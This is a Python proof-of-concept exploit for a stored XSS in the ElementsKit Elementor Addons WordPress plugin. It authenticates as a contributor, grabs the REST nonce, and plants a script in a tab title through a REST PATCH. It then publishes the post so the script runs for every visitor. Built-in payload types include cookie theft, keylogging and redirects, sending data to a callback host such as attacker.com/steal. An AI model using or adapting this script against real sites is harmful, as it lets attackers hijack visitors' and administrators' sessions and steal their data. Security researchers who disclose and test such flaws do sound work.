#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2026-2600 - Stored XSS in ElementsKit Elementor Addons <= 3.7.9 Author : Alaaeddine Knani (@iwd) - Offensive Security Engineer @ ODDO BHF Details: Contributor+ can inject arbitrary JavaScript via the WordPress REST API into the Simple Tab widget's ekit_tab_title field, bypassing Elementor's client-side sanitization. The payload persists in the database and fires in every visitor's browser. Usage: python poc.py [--callback ] [--payload ] python poc.py https://victim.com contributor p4ssw0rd --callback https://attacker.com/steal """ import argparse import json import re import sys import uuid import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # Force UTF-8 output on Windows if sys.stdout.encoding and sys.stdout.encoding.lower() != 'utf-8': try: sys.stdout.reconfigure(encoding='utf-8') except AttributeError: pass # ─── ANSI colours ────────────────────────────────────────────────────────────── R = "\033[91m" G = "\033[92m" Y = "\033[93m" B = "\033[94m" M = "\033[95m" C = "\033[96m" W = "\033[97m" DIM= "\033[2m" RST= "\033[0m" BOLD="\033[1m" def banner(): print(f""" {R} +----------------------------------------------------------+{RST} {R} | CVE-2026-2600 | ElementsKit Stored XSS PoC |{RST} {R} +----------------------------------------------------------+{RST} {Y} | Plugin : ElementsKit Elementor Addons <= 3.7.9 |{RST} {Y} | Widget : Simple Tab (ekit-tab) |{RST} {G} | CVSS : 6.4 MEDIUM | Role: Contributor+ |{RST} {DIM} | Author : Alaaeddine Knani (@iwd) - ODDO BHF |{RST} {R} +----------------------------------------------------------+{RST} """) def log(msg): print(f" {B}[*]{RST} {msg}") def ok(msg): print(f" {G}[+]{RST} {W}{msg}{RST}") def warn(msg): print(f" {Y}[!]{RST} {msg}") def err(msg): print(f" {R}[-]{RST} {msg}"); sys.exit(1) def info(msg): print(f" {DIM} {msg}{RST}") # ─── Elementor data builder ──────────────────────────────────────────────────── def build_elementor_data(xss_payload: str) -> list: """ Construct a minimal Elementor widget tree containing one ekit-tab widget with the XSS payload embedded in the tab title (ekit_tab_title). Structure: section > column > widget(ekit-tab) settings.ekit_tab_items[0].ekit_tab_title = """ def uid() -> str: return uuid.uuid4().hex[:6] return [ { "id": uid(), "elType": "section", "isInner": False, "settings": {}, "elements": [ { "id": uid(), "elType": "column", "settings": {"_column_size": 100}, "elements": [ { "id": uid(), "elType": "widget", "widgetType": "elementskit-simple-tab", "settings": { "ekit_tab_items": [ { "_id": uid(), "ekit_tab_title": xss_payload, # ← injected here "ekit_tab_content": "

Content

", "tab_id": "tab-1", }, { "_id": uid(), "ekit_tab_title": "Tab 2", "ekit_tab_content": "

More content

", "tab_id": "tab-2", }, ], "ekit_tab_active_index": 0, }, } ], } ], } ] # ─── Core exploit ────────────────────────────────────────────────────────────── class CVE_2026_2600: def __init__(self, target: str, username: str, password: str, verify_ssl: bool = True): self.target = target.rstrip("/") self.username = username self.password = password self.session = requests.Session() self.session.verify = verify_ssl self.session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)"}) self.nonce = None self.post_id = None # ── Step 1: authenticate ────────────────────────────────────────────────── def authenticate(self) -> bool: log(f"Authenticating as {W}{self.username}{RST} ...") try: self.session.post( f"{self.target}/wp-login.php", data={ "log": self.username, "pwd": self.password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1", }, cookies={"wordpress_test_cookie": "WP+Cookie+check"}, allow_redirects=True, timeout=20, ) except requests.RequestException as exc: err(f"Login request failed: {exc}") if not any("wordpress_logged_in" in c.name for c in self.session.cookies): err("Authentication failed - check credentials") ok("Authenticated successfully") return True # ── Step 2: fetch REST nonce ────────────────────────────────────────────── def get_rest_nonce(self) -> str: log("Fetching REST API nonce ...") try: html = self.session.get( f"{self.target}/wp-admin/post-new.php", timeout=20 ).text except requests.RequestException as exc: err(f"Could not load post editor: {exc}") # Elementor and WP both embed the nonce in the page JS for pattern in [ r'"nonce"\s*:\s*"([a-f0-9]{10})"', r'wpApiSettings.*?"nonce"\s*:\s*"([^"]+)"', r'"rest_nonce"\s*:\s*"([^"]+)"', ]: m = re.search(pattern, html) if m: self.nonce = m.group(1) ok(f"REST nonce: {C}{self.nonce}{RST}") return self.nonce err("Could not extract REST nonce from page. Is the user authenticated?") # ── Step 3: create a draft post ─────────────────────────────────────────── def create_post(self, title: str = "Security Research Draft") -> int: log("Creating a draft post via REST API ...") try: r = self.session.post( f"{self.target}/wp-json/wp/v2/posts", headers={"X-WP-Nonce": self.nonce, "Content-Type": "application/json"}, json={"title": title, "status": "draft", "content": ""}, timeout=20, ) r.raise_for_status() except requests.RequestException as exc: err(f"Failed to create post: {exc}") self.post_id = r.json().get("id") if not self.post_id: err("REST API did not return a post ID") ok(f"Draft post created → ID {Y}{self.post_id}{RST}") return self.post_id # ── Step 4: inject the payload ──────────────────────────────────────────── def inject(self, xss_payload: str) -> bool: log(f"Injecting payload into _elementor_data ...") info(f"Payload: {R}{xss_payload[:80]}{'...' if len(xss_payload) > 80 else ''}{RST}") elementor_data = build_elementor_data(xss_payload) try: r = self.session.patch( f"{self.target}/wp-json/wp/v2/posts/{self.post_id}", headers={"X-WP-Nonce": self.nonce, "Content-Type": "application/json"}, json={ "meta": { "_elementor_data": json.dumps(elementor_data), "_elementor_edit_mode": "builder", } }, timeout=20, ) r.raise_for_status() except requests.RequestException as exc: err(f"PATCH request failed: {exc}") # Verify payload was stored stored_meta = r.json().get("meta", {}) stored_data_raw = stored_meta.get("_elementor_data", "") if xss_payload in stored_data_raw or xss_payload.replace('"', '\\"') in stored_data_raw: ok(f"{G}{BOLD}Payload confirmed in database!{RST}") else: warn("Payload not confirmed in response - may still be stored (meta visibility)") return True # ── Step 5: publish post ────────────────────────────────────────────────── def publish(self) -> str: log("Publishing the post ...") try: r = self.session.post( f"{self.target}/wp-json/wp/v2/posts/{self.post_id}", headers={"X-WP-Nonce": self.nonce, "Content-Type": "application/json"}, json={"status": "publish"}, timeout=20, ) r.raise_for_status() except requests.RequestException as exc: err(f"Failed to publish post: {exc}") link = r.json().get("link", f"{self.target}/?p={self.post_id}") ok(f"Post published → {C}{link}{RST}") return link # ── Verify: confirm the raw payload renders in the page source ──────────── def verify(self, url: str, marker: str) -> bool: log("Verifying payload renders in page source ...") try: html = requests.get(url, verify=self.session.verify, timeout=20).text except requests.RequestException: warn("Could not fetch published page for verification") return False if marker in html: ok(f"{G}{BOLD}CONFIRMED: XSS payload is live in page source!{RST}") return True else: warn("Marker not found in page - page may require admin approval first") return False # ─── Default payloads ────────────────────────────────────────────────────────── DEFAULT_PAYLOADS = { "cookie": lambda cb: f'', "alert": lambda cb: '', "keylogger": lambda cb: f'', "redirect": lambda cb: f'', } # ─── Entry point ─────────────────────────────────────────────────────────────── def main(): banner() parser = argparse.ArgumentParser( description="CVE-2026-2600 PoC - ElementsKit Stored XSS via REST API", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" examples: python poc.py https://victim.com contributor p4ss --callback https://attacker.com python poc.py https://victim.com editor s3cr3t --type alert python poc.py https://victim.com contributor p4ss --payload '' python poc.py https://victim.com contributor p4ss --no-publish """, ) parser.add_argument("target", help="WordPress site URL (e.g. https://victim.com)") parser.add_argument("username", help="WordPress username (Contributor role minimum)") parser.add_argument("password", help="WordPress password") parser.add_argument("--callback", default="https://attacker.example.com", help="Callback URL to receive exfiltrated cookies (default: placeholder)") parser.add_argument("--type", choices=list(DEFAULT_PAYLOADS.keys()), default="cookie", help="Built-in payload type (default: cookie)") parser.add_argument("--payload", default=None, help="Custom raw HTML/JS payload (overrides --type)") parser.add_argument("--no-publish", action="store_true", help="Leave post as draft - do not publish") parser.add_argument("--no-verify-ssl", action="store_true", help="Disable SSL certificate verification") parser.add_argument("--title", default="Security Research", help="Post title (default: 'Security Research')") args = parser.parse_args() xss_payload = args.payload if args.payload else DEFAULT_PAYLOADS[args.type](args.callback) print(f" {DIM}Target : {W}{args.target}{RST}") print(f" {DIM}User : {W}{args.username}{RST}") print(f" {DIM}Payload : {R}{xss_payload[:80]}{'...' if len(xss_payload)>80 else ''}{RST}") print() exploit = CVE_2026_2600( target=args.target, username=args.username, password=args.password, verify_ssl=not args.no_verify_ssl, ) exploit.authenticate() exploit.get_rest_nonce() exploit.create_post(title=args.title) exploit.inject(xss_payload) if not args.no_publish: page_url = exploit.publish() # Use the onerror src or a short unique marker for verification marker = "onerror" if "onerror" in xss_payload else "script" exploit.verify(page_url, marker) else: warn(f"Post left as draft → {args.target}/wp-admin/post.php?post={exploit.post_id}&action=edit") print() print(f" {'─'*60}") print(f" {G}{BOLD}Done.{RST}") if not args.no_publish: print(f" {DIM}Infected URL: {C}{args.target}/?p={exploit.post_id}{RST}") print(f" {DIM}The payload fires for every visitor - including admins.{RST}") print(f" {'─'*60}") print() if __name__ == "__main__": main()